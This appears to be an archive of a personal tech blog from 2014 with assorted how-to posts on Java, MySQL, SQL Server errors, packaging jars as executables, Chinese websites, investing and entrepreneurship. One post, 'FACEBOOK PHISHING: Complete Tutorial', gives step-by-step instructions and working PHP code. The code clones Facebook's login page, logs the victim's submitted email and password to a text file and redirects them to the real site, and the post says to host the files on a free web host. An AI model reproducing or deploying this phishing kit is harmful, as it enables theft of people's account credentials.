Wednesday, 19 February 2014

WHAT IS JAVA,J2EE AND J2SE

Java can be divided into 3 categories
1.core java
2.advanced java
3.J2EE

core java and advanced java are the standard editions of java where as J2EE is the enterprise edition
witout completing core and advanced java u will not be able to understand J2EE

"Java" refers to both a language and a platform. The runtime and libraries that comprise the platform are based on the Java language and come in 3 flavors:

Java SE (Standard Edition): Formerly J2SE but renamed to Java Standard Edition when the Java 2 convention was dropped with the release of Java 5 (formerly J2SE 1.5). It contains a good all-around mix of general purpose libraries including JDBC (Java Database Connectivity), JNDI (Java Naming Directory Interface), RMI (Remove Method Invocation), AWT, and Swing.

Java EE (Enterprise Edition): Formerly J2EE (see above). It includes Java Standard Edition plus most of the other Java technologies including JavaMail, Activation, JAXB (Java API for XML Binding), Servlets, JSF (Java Server Faces), JMS (Java Messaging Service), EJB (Enterprise Java Beans), and others. Most of the APIs are very component-oriented and are intended to provide pluggable interfaces for business components to form robust, distributed internet applications.

Java ME (Micro Edition): Formerly J2ME. It includes most of Java SE and some additional APIs for handheld devices.

Java Enterprise Edition is based on Java, but includes a larger set of libraries than Java Standard Edition, which to most people is synonymous with the word "Java." Note that many of the technologies featured in Java Enterprise Edition are available separately and can be added to the Java Standard Edition platform as needed.

where does mysql store databases on windows 7


Windows

1) Locate the my.ini, which store in the MySQL installation folder.

For Example,

C:\Program Files\MySQL\MySQL Server 5.1\my.ini

2) Open the “my.ini” with our favor text editor.

#Path to installation directory. All paths are usually resolved relative to this.
basedir="C:/Program Files/MySQL/MySQL Server 5.1/"

#Path to the database root
datadir="C:\ProgramData\MySQL\MySQL Server 5.1\data"

Find the “datadir”, this is the where does MySQL stored the data in Windows



now check
 C:\ProgramData\MySQL\MySQL Server 5.1\data 

This is Hidden file so go to view >> show hidden folder.

Take Emulator Screen Shots In Eclipse And Speech To Text Using API For Android

Android: Take Emulator Screen Shots in Eclipse

 

1.In eclipse, Open Windows > Show View > Others… (Shortcut Alt + Shift + Q, Q)

2.From the Show View dialog, open Android and select Devices.

 3.

This will open a new Devices view in your eclipse. Select the Emulator that is running currently and that you want to capture screen of and click Camera icon on right side.
android-eclipse-capture-screen-shot
This will open Device Screen Capture dialog. Press Refresh button to capture current screen and press Save to save it in PNG format on disk.

Android: Speech To Text using API

Step 1: Create Basic Android Project in Eclipse


Step 2: Change the Layout

Step 3: Android Java Code to trigger Speech to Text API

 learn full code here

  android-speech-to-text-conversion   




Saturday, 15 February 2014

digital publications from any document




  • Create a powerful digital publication from any document
  • Customize look and feel for a consistent brand image
  • Choose from a wide range of features for your publication
  • Impress everyone with a professional look!

Mobile-Ready | HTML5 support

We fall asleep with smartphones in our hands. We spend hours upon hours a week glued to our tablets.
FlippingBook publications support HTML5 and work on Apple and Android devices flawlessly. Your readers can check your digital catalog or scan a couple of online magazine articles while at lunch, on vacation or at a really dull meeting.

How it Works



convert blog to book easily and free

To convert blog to book easily use www.blogbooker.com.

What is this?

"BlogBooker: From your Blog to a Book."

BlogBooker produces a high-quality PDF Blog Book from all your blog's entries and comments.
Archives can be generated from any blog running on WordPress, LiveJournal (and derivatives) or Blogger.

The whole process takes about 3-4 minutes, depending on the size of your blog.

Blogbooker is a FREE service offered thanks to donations.


How does it work?
You submit an export file provided by your blog system to BlogBooker.
Your file is verified and all linked images are fetched.
Entries, Comments and Images are assembled into a high-quality PDF.
PDF is provided without any restriction and thus can be submitted for printing to third-parties.


How to export your blog?
Exporting your WordPress blog.
Exporting your Blogger blog.
LiveJournal export/backup is automatically handled.


Why?
You can print your BlogBook and make it real, read it more comfortably or share it with friends, publish it ...
The main purpose is to let you have an archive of your blog/journal. The PDF embeds all images and is consistent over time.


Examples :
Find out some public BlogBooks on the web.

list of popular chinese websites by category

Top Web Sites in China by category

 



Search Engines

    Baidu: www.baidu.com
    Google China: www.google.com.hk
    Sogou: www.sogou.com
    Tencent Soso: www.soso.com
    Yahoo China: www.yahoo.cn
    Youdao: www.youdao.com
    Bing: cn.bing.com

Web Portals

    Sina: www.sina.com.cn
    QQ: www.qq.com
    Sohu: www.sohu.com
    NetEase/163: www.163.com
    Yahoo China: cn.yahoo.com
    MSN China: cn.msn.com
    Tianya: www.tianya.cn

Weibo / Microblogging Sites

    Sina Weibo: www.weibo.com
    Tencent Weibo: t.qq.com
    Sohu Weibo: t.sohu.com
    163 Weibo: t.163.com
    Follow5: www.follow5.com
    Fanfou: www.fanfou.com
    Digu: www.digu.com
    139: shequ.10086.cn
    Baidu Microblog: t.baidu.com

Social Network Sites (SNS)

    RenRen/Xiaonei: www.renren.com
    Kaixin001: www.kaixin001.com
    51.com: www.51.com
    Pengyou: www.pengyou.com
    Ushi: www.ushi.cn

Social Review Sites

    Douban: www.douban.com
    Dianping: www.dianping.com
    Koubei: www.koubei.com

Community Sites

    Tianya: www.tianya.cn
    Mop: www.mop.com
    19lou: hangzhou.19lou.com

Blogging Platforms/Services

    Qzone: qzone.qq.com
    Sina Blog: blog.sina.com.cn
    Blogbus: www.blogbus.com
    Blogcn: www.blogcn.com
    Bokee: vip.bokee.com
    163 Blog: blog.163.com
    Baidu Hi: hi.baidu.com

Business-to-consumer eCommerce / B2C Sites

    360Buy: www.360buy.com
    DangDang: www.dangdang.com
    Taobao Tmall: www.tmall.com
    Vancl: www.vancl.com
    Joyo Amazon: www.amazon.cn
    Paipai: www.paipai.com
    Newegg: www.newegg.cn
    Mbaobao: www.mbaobao.com
    Letao: www.letao.com
    M18: www.m18.com
    Rakuten: www.rakuten.com.cn
    Moonbasa: www.moonbasa.com
    Gap: www.gap.cn
    Zbird: www.zbird.com
    Redbaby: www.redbaby.com.cn

Consumer-to-consumer eCommerce / C2C Sites

    Taobao: www.taobao.com

Business-to-business eCommerce / B2B Sites

    Alibaba China: china.alibaba.com
    HC360: www.hc360.com
    Txooowww.txooo.com

Supermarkets

    Yihaodian: www.yihaodian.com
    Dahuozhan: www.dahuozhan.com
    Womai: www.womai.com

Group Buy Sites

    Lashou: www.lashou.com
    Meituan: www.meituan.com
    24quan : www.24quan.com
    Gaopeng: www.gaopeng.com

Bookmarking / Sharing Services

    QQ Bookmark: shuqian.qq.com
    Baidu Cang: cang.baidu.com

Video Sites

    Youku: www.youku.com
    Tudou: www.tudou.com
    Ku6: www.ku6.com
    56.com: www.56.com
    Xunlei: www.xunlei.com
    Letv: www.letv.com
    Joy: www.joy.cn

Wiki Sites

    Wikipedia: zh.wikipedia.org
    Baidu Baike: baike.baidu.com
    Hudong: www.hudong.com

Q&A Sites

    Baidu Zhidao: zhidao.baidu.com
    Soso Wenwen: wenwen.soso.com
    Zhihu: www.zhihu.com

Classifieds Sites

    58.com: www.58.com
    Baixing: www.baixing.com
    Ganji: www.ganji.com

Travel Sites

    Ctrip: www.ctrip.com
    eLong: www.elong.com
    Qunar: www.qunar.com
    Kuxun: www.kuxun.cn
    17U: www.17u.cn
    Daodao: www.daodao.com
    Lvping: www.lvping.com
    Tuniu: www.tuniu.com
    Uzai: www.uzai.com
    Lotour: www.lotour.com

Maps

    Google Maps: ditu.google.com
    Baidu Map: map.baidu.com
    eDushi: www.edushi.com
    Mapbar: www.mapbar.com
    ddmap: www.ddmap.com
    Sogou Map: map.sogou.com

Navigational Start Pages

    Hao123: www.hao123.com
    265.com: www.265.com

Webmaster Communities/Sites

    Chinaz: www.chinaz.com
    CNZZ: www.cnzz.cn
    Admin5: www.admin5.com
    CN Webmasters: www.cnwebmasters.com

Gaming Sites

    4399.com: www.4399.com
    17173.com: www.17173.com
    7k7k.com: www.7k7k.com
    3839.com: www.3839.com

Jobs Sites

    51Job: www.51job.com
    ChinaHR: www.chinahr.com
    Zhaopin: www.zhaopin.com

News Sites

    iFeng: www.ifeng.com
    Xinhuanet: www.xinhuanet.com
    People: www.people.com.cn
    163 News: news.163.com
    Sina News: news.sina.com.cn

Financial News Sites

    EastMoney: www.eastmoney.com
    Hexun: www.hexun.com
    JRJ: www.jrj.com.cn
    Stockstar: www.stockstar.com
    Wall Street Journal: cn.wsj.com

Properties Sites

    Soufun: www.soufun.com
    Anjuke: www.anjuke.com


Web Mail Services

    163.com Mail: mail.163.com
    126.com Mail: mail.126.com
    263.net Mail: www.263.net
    QQ Mail: mail.qq.com
    Yahoo Mail: mail.cn.yahoo.com
    Sina Mail: mail.sina.com.cn
    Sohu Mail: mail.sohu.com
    Sogou Mail: mail.sogou.com
    TOM Mail: mail.tom.com

Network Security / Anti-virus Software

    360: www.360.cn
    Rising: www.rising.com.cn
    Kaspersky: www.kaspersky.com.cn
    Duba: www.duba. 


Top internet user

country              Internet users        Rank       Penetration               Rank
                                      

 China       568,192,066             1              42.3%                   102
 United States 254,295,536 2 81.0%                       28
 India 151,598,994 3 12.6%                     164
 Japan 100,684,474 4 79.1%                     33
 Brazil 99,357,737 5 49.8%                     86

 

What are Mutual Funds?

What are Mutual Funds?

Mutual funds are one of the most convenient way to invest! Mutual funds allow you to invest your money like an expert without being an expert!

Basically, mutual funds are a way for you to outsource the whole “investing” headache to people who are experts at investing. Simply put, you give the money you want to invest to people who are experts at investing. They will invest your money and make it grow & for this service they charge you a small fee!

Why invest in mutual funds?

Good investing generally requires a good knowledge about the market, economics, world politics and a lot of experience etc. Most people who want to invest their money, do not have the time to follow and learn all these things. For them “Mutual Funds” are the best option. You do not have to worry about anything when investing in Mutual Funds. You just have take out the money for investing. The Mutual Fund managers are people who will do all the work for you and make your money grow!

 Get all your "How To" answer HERE

investment knowledge for beginners


 Here we will share a simple story not a big deal just a simple story to make you understand on  investment knowledge 

Compounding is a very interesting and powerful thing. It has great rewards in store for people who invest when they are young. If you invest later in life you will not be able to make use of the great “power of compounding”!

Just to give you an example…assume that there are two people. Ram and Sham.

Ram invests Rs.5000 each month for 10 years from the time he became 25.

Sham invests Rs.5000 each month for “25 years” from the time he became “35”.

Note that Ram invested Rs.5000 monthly for only 10 years. Sham invested Rs.5000 monthly for 25 years! Now, who do you think will have more money when they are 60? Think about it a little! Who do you think will have more money at age 60?

Assuming that their money grows at 15% per year, at age 60 Ram will have Rs.4.6crores!!

Sham will have Rs.1.5 crores!!

A difference of Rs.3.1 crores!! Ha!!

Think about how foolish Sham has been. When he was young and 25 years of age, he had not got married yet. His expenses were low. He had a lot of money extra each month. He would generally blow it off on parties! Later he got married. His expenses grew! He had very little money to invest. Finally at the age of 35 when he again started to have some financial control, he decided to start investing. Since his friend had stared earlier than him, he tried to make up for it but investing for 25 years. (15 years more than Ram!) However, still he ended up loosing 3.1 crore!!

Don’t be a Sham! Don’t make this mistake.

If you are wondering how this can happen, you need to understand how compounding works. Suppose you invest Rs.100 today. It grows at 15% compounded rate every year, then next year you will get Rs.115 i.e. Rs.100 + Rs.15. Why Rs.15? Rs.15 is 15% of Rs.100!

Okay so now one year is passed. You have Rs.115. The next year you will get Rs.132. Why Rs.132?  Rs.115 + Rs.17. Why Rs.17 ? Because Rs.17 is 15% of Rs.115!

Now, try to use your imagination. Initially your money will grow at a slow rate. But once the money grows to a big amount the rate of growth will be very very very high! So, basically you need a lot of time to reach a very very high rate of growth. But once you reach the high growth rate then money will just start flowing! And if there is one thing the youth have, it is time!

In fact, you should invest as fast as possible. If you are not earning yet, invest your pocket money!

Saturday, 8 February 2014

Set Up a Google Profile, Connect to Your Blog (Rel=“Me”)


 you’ll want to connect your site to your Google profile with the following process:
  1. Create a Google+ profile at https://profiles.google.com/ (if you haven’t already). Be sure to upload a clear, distinguishable photo, and fill out the “About” tab with relevant professional and personal information.
  2. Add a Rel=”Me” tag to your author page that links to your Google profile, using the following snippet: <a class=“url fn author” rel=“me” href=https://plus.google.com/YourGoogleProfile>.
  3. Navigate to the “About” tab on your Google profile and click “edit profile” in the upper right-hand corner of your screen.
  4. In the right-hand column click on “contributor to” and add a custom link to your author page on your blog. To do this, type your “Blog Name” in the first line, and then add your author page URL in the second.
  5. Be sure that “anyone on the web” is selected in the “who can see this?” box, and click save.
  6. Double-check that the process worked. Make sure you’ve set up your three links correctly by running a sample through Google's rich snippet testing tool.

how to set up social commerce site free of cost for your business

How to set up a Facebook and Twitter store easily 

Setting up Social Commerce with Facebook  step by step free of cost.

How to add your store to Facebook using two site:

1.EcWid 

2.sellmojo.com 

1.How to add your store to Facebook using EcWid

1. First please log in to your FB accout and open our application: apps.facebook.com/ecwid-shop/   
  -  If you do not have Ecwid store on Facebook yet, click "Add store to your page" button,
 

 

 sign up using fb a/c or make account on ecwid to handle or manage category,product,inventory,pricing.

 You can also add your store to blogger also @ www.ecwid.com/blogger

 

  2.How to add your store to Facebook using sellmojo

 SellMojo – India’s First S-commerce Store Maker

 sign up using fb a/c or make account on sellmojo to handle or manage category,product,inventory,pricing.free of cost.


Friday, 7 February 2014

Entrepreneur Ideas By Entrepreneur And How They Learn Entrepreneurship


   
Watch all entrepreneur video on  youtube for entrepreneur ideas 

Make account on google.com/entrepreneurs to learn entrepreneurship.

If you have Entrepreneur Ideas and want  funding try  startupvillage.other best funding sources for small business is ANGEL INVESTORS ,VENTURE CAPITA, INCUBATOR,CROWD FUNDING.

Entrepreneurship Development  is done by watching and consulting or surrounding yourself with great  entrepreneur.entrepreneurial skill can be develop in anybody just try in real world,books and institute can only give virtual knowledge or idea but doing it in real world can help you lot to learn entrepreneurship.
                                                 Comfort Zone is the most dangerous place for entrepreneur move asap from your comfort zone and try to nailed out whatever you want.First thing in learning entrepreneurship
is very to find your niche.how to find your niche :-
  • Things you like / love
  • Things you are good at
  • Things that are important
  • Things you can be paid to do.
                                     Find what you love and what make you happy,what keeps you up at night? This Step is very important,If you have idea start your business asap don't waste your time someone's else might do it.Have passion for your work.Learn to handle or manage people.

                                    Whatever maybe your field or business try to make best compare to your competitor.Tell people why should they buy from you.Try to make best product possible this is more require than  marketing,Apple inc never sign a superstar or sportsperson for marketing because Apple is more than a brand.



                                   Than question came how to make money, Big company like Apple,Facebook  follow innovation  they just Try to make best product possible ever.Facebook doesn't know how to make money then in 2007 they hire Sheryl Sandberg .Before Facebook, Sandberg was V. President of Online Sales and Operations at Google.She very well know how make money from people by marketing.In online world People is equal to money.People serch lots of time how to make money online.It's very easy whatever you do online that's make you money. if you want to make money from link try adf.ly(not recommended people hate to wait). Make money from text based advertisement.Try google adsense and Try affiliate marketing programs.Use teckler.com for writing article to make money.Do freelancing jobs.This are short term trick  without hustle for making online money.
                                    First make community of customer than make money.Give lots of important to innovation  in your organization.

Learn :what is CPL,CPM,CPI,PPC in online advertising and marketing.
Read :read about entrepreneurs
Get Knowledge About :What is Differences Between Wholesalers,Distributors, and Retailers,supplier

Entrepreneur Ideas for future is E-commerce,Online Healthcare Business,Open things what people need in their day to day life, execute your idea as early as possible.


This post is by Entrepreneur  AAVIK KUMAR




Tuesday, 4 February 2014

error: 26 - Error Locating Server/Instance Specified Solution With Explanation


Error: 26 - Error Locating Server/Instance Specified

If you are facing problem with connecting to SQL Server through ur application. And getting following error

"An error has occurred while establishing a connection to the server. When connecting to SQL Server 2005, this failure may be caused by the fact that under the default settings SQL Server does not allow remote connections. (provider: SQL Network Interfaces, error: 26 - Error Locating Server/Instance Specified)"

Step 1.

Check if you can login to your SQL Server Managed Studio using ur user Name and pwd.

Example using ur sa account which is ur default account

If not the then follow following steps

Change the authentication mode to mixed from Windows, Following are the steps to be followed.

In SQL Server Management Studio Object Explorer, right-click the server, and then click Properties.

On the Security page, under Server authentication, select the new server authentication mode "SQL Server and Windows Authentication mode", and then click OK.

In the SQL Server Management Studio dialog box, click OK to acknowledge the requirement to restart SQL Server

To Enable the sa login.

In Object Explorer, expand Security, expand Logins, right-click sa, and then click Properties.

On the General page, you might have to create and confirm a password for the sa login.

On the Status page, in the Login section, click Enabled, and then click OK.

Step 2.
Enable remote connections for SQL Server 2005 Express or SQL Server 2005 Developer Edition

You must enable remote connections for each instance of SQL Server 2005 that you want to connect to from a remote computer. To do this, follow these steps:

Click Start, point to Programs, point to Microsoft SQL Server 2005, point to Configuration Tools, and then click SQL Server Surface Area Configuration.
On the SQL Server 2005 Surface Area Configuration page, click Surface Area Configuration for Services and Connections.
On the Surface Area Configuration for Services and Connections page, expand Database Engine, click Remote Connections, click Local and remote connections, click the appropriate protocol to enable for your environment, and then click Apply.

Note Click OK when you receive the following message: <div>Changes to Connection Settings will not take effect until you restart the Database Engine service.</div>
On the Surface Area Configuration for Services and Connections page, expand Database Engine, click Service, click Stop, wait until the MSSQLSERVER service stops, and then click Start to restart the MSSQLSERVER service.

Step 3.
Enable the SQL Server Browser service

If you are running SQL Server 2005 by using an instance name and you are not using a specific TCP/IP port number in your connection string, you must enable the SQL Server Browser service to allow for remote connections. For example, SQL Server 2005 Express is installed with a default instance name of Computer Name\SQLEXPRESS. You are only required to enable the SQL Server Browser service one time, regardless of how many instances of SQL Server 2005 you are running. To enable the SQL Server Browser service, follow these steps.

Important These steps may increase your security risk. These steps may also make your computer or your network more vulnerable to attack by malicious users or by malicious software such as viruses. We recommend the process that this article describes to enable programs to operate as they are designed to, or to implement specific program capabilities. Before you make these changes, we recommend that you evaluate the risks that are associated with implementing this process in your particular environment. If you choose to implement this process, take any appropriate additional steps to help protect your system. We recommend that you use this process only if you really require this process.

Click Start, point to Programs, point to Microsoft SQL Server 2005, point to Configuration Tools, and then click SQL Server Surface Area Configuration.
On the SQL Server 2005 Surface Area Configuration page, click Surface Area Configuration for Services and Connections.
On the Surface Area Configuration for Services and Connections page, click SQL Server Browser, click Automatic for Startup type, and then click Apply.

Note When you click the Automatic option, the SQL Server Browser service starts automatically every time that you start Microsoft Windows.
Click Start, and then click OK.

Note When you run the SQL Server Browser service on a computer, the computer displays the instance names and the connection information for each instance of SQL Server that is running on the computer. This risk can be reduced by not enabling the SQL Server Browser service and by connecting to the instance of SQL Server directly through an assigned TCP port. Connecting directly to an instance of SQL Server through a TCP port is beyond the scope of this article. For more information about the SQL Server Browser server and connecting to an instance of SQL Server, see the following topics in SQL Server Books Online:

SQL Server Browser Service
Connecting to the SQL Server Database Engine
Client Network Configuration

Step 4.
Create exceptions in Windows Firewall

These steps apply to the version of Windows Firewall that is included in Windows XP Service Pack 2 (SP2) and in Windows Server 2003. If you are using a different firewall system, see your firewall documentation for more information.

If you are running a firewall on the computer that is running SQL Server 2005, external connections to SQL Server 2005 will be blocked unless SQL Server 2005 and the SQL Server Browser service can communicate through the firewall. You must create an exception for each instance of SQL Server 2005 that you want to accept remote connections and an exception for the SQL Server Browser service.

SQL Server 2005 uses an instance ID as part of the path when you install its program files. To create an exception for each instance of SQL Server, you must identify the correct instance ID. To obtain an instance ID, follow these steps:

Click Start, point to Programs, point to Microsoft SQL Server 2005, point to Configuration Tools, and then click SQL Server Configuration Manager.
In SQL Server Configuration Manager, click the SQL Server Browser service in the right pane, right-click the instance name in the main window, and then click Properties.
On the SQL Server Browser Properties page, click the Advanced tab, locate the instance ID in the property list, and then click OK.

To open Windows Firewall, click Start, click Run, type firewall.cpl, and then click OK

Step 5.
Create an exception for SQL Server 2005 in Windows Firewall

To create an exception for SQL Server 2005 in Windows Firewall, follow these steps:

In Windows Firewall, click the Exceptions tab, and then click Add Program.
In the Add a Program window, click Browse.
Click the C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe executable program, click Open, and then click OK.

Note The path may be different depending on where SQL Server 2005 is installed. MSSQL.1 is a placeholder for the instance ID that you obtained in step 3 of the previous procedure.
Repeat steps 1 through 3 for each instance of SQL Server 2005 that needs an exception.

Create an exception for the SQL Server Browser service in Windows Firewall

To create an exception for the SQL Server Browser service in Windows Firewall, follow these steps:

In Windows Firewall, click the Exceptions tab, and then click Add Program.
In the Add a Program window, click Browse.
Click the C:\Program Files\Microsoft SQL Server\90\Shared\sqlbrowser.exe executable program, click Open, and then click OK

convert Java to executable Jar file -JAVA TO EXE


Many newbie have this question how to convert java program to executable file?

To get executable .exe file we must convert .class file to .jar

How to convert .class file to .jar
Create the JAR file. The format of the command line for creating the JAR file looks like this:
"jar cf yourjarfilename manifest.txt Smile.class"
  • The "jar" portion refers to the jar.exe program, which compiles the JAR file.
  • The "c" option specifies that you want to create a JAR file
  • The "f" option means that you want to specify the filename.
  • The "yourjarfilename" portion is where you should type the name that you want the file to have.
  • For example, you might type "jar cf myjar manifest.txt myclass.class." This would create a JAR file with the filename "myjar.jar" which would include the files "manifest.txt" and "Smile.class."
  • If you add directories to the JAR file, the jar.exe utility will automatically add their contents


 If you want to create executable .exe  file of your .class file of java then you have to convert it into
jar (Java ARchive) file this is most important step.

how to create manifest file for an Executable jar file  


Create a manifest file. Save manifest file using the extension .txt using the text editor and input the following:
  • Main-Class: Smile(or whatever your file's name is )
 

Creating an Executable jar File By Software           




JSmooth


JSmooth is a Java Executable Wrapper. It creates native Windows launchers (standard .exe) for your java applications. It makes java deployment much smoother and user-friendly, as it is able to find any installed Java VM by itself.

Once you have downloaded JSmooth, open the application.
jsmooth_1
Specify the skeleton of the executable application. In my case I want to create a Console wrapper that will run on the command prompt console.
jsmooth_skeleton
Give the full path to the .jar file by selecting the option “Use an embedded jar”. Go to Application tab and set the Main Class file. Put the same name which you had used in Eclipse project as Main Class.
jsmooth_2
Go to the Executable tab and set Executable Binary file path. Mention the full path with name of the .exe file that you want to be created. One can also provide an icon for the executable file.
jsmooth_3
Now, go to the JVM Selection tab. Specify the minimum and maximum JVM versions required to run your application.
jsmooth_4
Finally, go to the Project menu and compile the file. If there are no compilation errors then you should see the .exe file generated in the specified directory.
jsmooth_5
jsmooth_6
output



Launch4j

Launch4j is a cross-platform tool for wrapping Java applications distributed as jars in lightweight Windows native executables. The executable can be configured to search for a certain JRE version or use a bundled one, and it's possible to set runtime options, like the initial/max heap size. The wrapper also provides better user experience through an application icon, a native pre-JRE splash screen, a custom process name, and a Java download page in case the appropriate JRE cannot be found
use launch4j to package up the jar into an EXE.
Although launch4j has a command-line interface, I first used the GUI.
The first screen I filled in looked similar to this:

I tried to just save the EXE at that point, but I then needed to specify a minimum Java version on this tab:



 
output file heyguys.exe is your output file name

Java Launcher
 Java Launcher run Java applications and applets by double-clicking class files; view class source codes and class hierarchies in graphic format by right-clicking;

JexePack


JexePack is a command line tool (great for automated scripting) that allows you to package your Java application (class files), optionally along with its resources (like GIF/JPG/TXT/etc), into a single compressed 32-bit Windows EXE, which runs using Sun's Java Runtime Environment. Both console and windowed applications are supported.

LaunchAnywhere


A LAX Executable is an executable file that is used to launch a Java application on any LaunchAnywhere-compatible platform. Currently, InstallAnywhere creates LaunchAnywheres on Windows 95/98/NT/2000/Me, Solaris, Linux, and Mac OS X. LaunchAnywhere enables end-users to double-click on an icon (Windows or Mac OS X) or type a single command (UNIX) to start a Java application

Creating a jar File in Command Prompt

  1. Start Command Prompt.
  2. Navigate to the folder that holds your class files:
    C:\>cd \mywork
  3. Set path to include JDK’s bin.  For example:
    C:\mywork> path c:\Program Files\Java\jdk1.7.0_25\bin;%path%
  4. Compile your class(es):
    C:\mywork> javac *.java
  5. Create a manifest file and your jar file:
    C:\mywork> echo Main-Class: Craps >manifest.txt
    C:\mywork> jar cvfm Craps.jar manifest.txt *.class
    or
    C:\mywork> jar cvfe Craps.jar Craps *.class
  6. Test your jar:
    C:\mywork> Craps.jar
    or
    C:\mywork> java -jar Craps.jar

Creating a jar File in Eclipse

 In Eclipse Help contents, expand "Java development user guide" ==> "Tasks" ==> "Creating JAR files."  Follow the instructions for "Creating a new JAR file" or "Creating a new runnable JAR file." The JAR File and Runnable JAR File commands are for some reason located under the File menu: click on Export... and expand the Java node.

Creating a jar File in JCreator

You can configure a "tool" that will automate the jar creation process.  You only need to do it once.
  1. Click on Configure/Options.
  2. Click on Tools in the left colu
  3. n.
  4. Click New, and choose Create Jar file.
  5. Click on the newly created entry Create Jar File in the left column under Tools.
  6. Edit the middle line labeled Arguments: it should have
    cvfm $[PrjName].jar manifest.txt *.class
  7. Click OK.
Now set up a project for your program, create a manifest file manifest.txt or copy and edit an existing one.  Place manifest.txt in the same folder where the .class files go.  Under View/Toolbars check the Tools toolbar.  Click on the corresponding tool button or press Ctrl-1 (or Ctrl-n if this is the n-th tool) to run the Create Jar File tool.
With Windows Explorer, go to the jar file that you just created and double click on it to run.



Friday, 31 January 2014

FACEBOOK PHISHING: Complete Tutorial! step by step

Step1: Goto www.facebook.com/login.php
Step2 : Save the file to your desktop with photos with name login.php
Step3 : Open the html file with notepad.
Step4 : Now search for form method="POST" and replace it with form method="GET"
Step5 : And next is replacing action="https://login.facebook.com/login.php?login_attempt=1" with action="hello.php"
Step6 : now open a notepad and type following as it is.



1 type
------
<?php
header ('Location: http://www.facebook.com');
$handle = fopen("lol.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>





or 
2nd type
---------------
<html> <body> <?php $handle = fopen("lol.txt", "a");
 fwrite($handle,$_POST["email"]);
fwrite($handle,"\n");
 fwrite($handle,$_POST["pass"]);
 fwrite($handle,"\n");
 fwrite($handle,"\n");
 fclose($handle);
 header("Location: https://www.facebook.com/login.php?login_attempt=1"); exit; ?> </body></html>


NOW save this as hello.php

Step7 : now make a account on  http://members.000webhost.com/login.php and Upload


Login.html
hello.php
lol.txt

Tuesday, 28 January 2014

Oracle Financial Services Software Ltd Goregaon East Mumbai

Oracle Financial Services Software Ltd (ORCL.BO)

Oracle Financial Services Software Limited is engaged in the business of providing information technology solutions and knowledge processing services to the financial services industry worldwide. The Company has a suite of banking products, which caters to the needs of corporate, retail, investment banking, treasury operations and data warehousing. The Company operates in three segments: Product licenses and related activities, information technology (IT) solutions and consulting services and Business Processing Services. Product licenses and related activities segment deals with various banking software products. IT solutions and consulting services segment offers services spanning the entire lifecycle of applications used by financial service institutions. Business Processing Services comprises of business process outsourcing services to the Lending, Collections, Customer Service, and Capital Markets industry.


oracle goregaon east mumbai


Monday, 27 January 2014

all about tata consultancy services in goregaon east

B3, Nirlon Knowledge Park, Walbhat Rd, 
Goregaon East, Mumbai, Maharashtra 400064 ‎


All TCS PHOTO




 

View Larger Map



TCS Latest Question Patterns

Help Desk on Solving the aptis , of differnt types , structures , and also other competitive Exams around the world.

 

 

Sunday, 26 January 2014

Test Your Web Site For Errors

 What the Test Reveals
  • HTML Validation Errors - Does your web site contain hidden errors? Even though you can't see them, the search engines can, and they don't like errors on your web pages. These errors can hurt your search engine rankings or even worse, make it so visitors can't see your site properly.
  • Broken Links - Broken links look unprofessional and upset your visitors. Don't you just hate clicking on a link that doesn't work? This test will check all links on a page to make sure they lead to live web pages.
  • Meta Tag Content - Including meta tags can help visitors and search engines understand your site. They can also compel people to click on your link in search engine results - Google shows your title and description meta tags. See what your tags say.
  • Web Page Size - If your pages don't load quickly, you risk losing visitors. This test shows the size of your home page.

 http://tools.pingdom.com/fpt/


www.websitecleanup.com/test.php 

ebook,generate income from your blog

How To Open Adf.ly site

How To Open Adf.ly Links In India And Other Blocked Countries

 

Your Old Link – http://adf.ly/xxxx
Your New Link – https://adf.ly/xxxx

 

ADD "S" . wow it worked.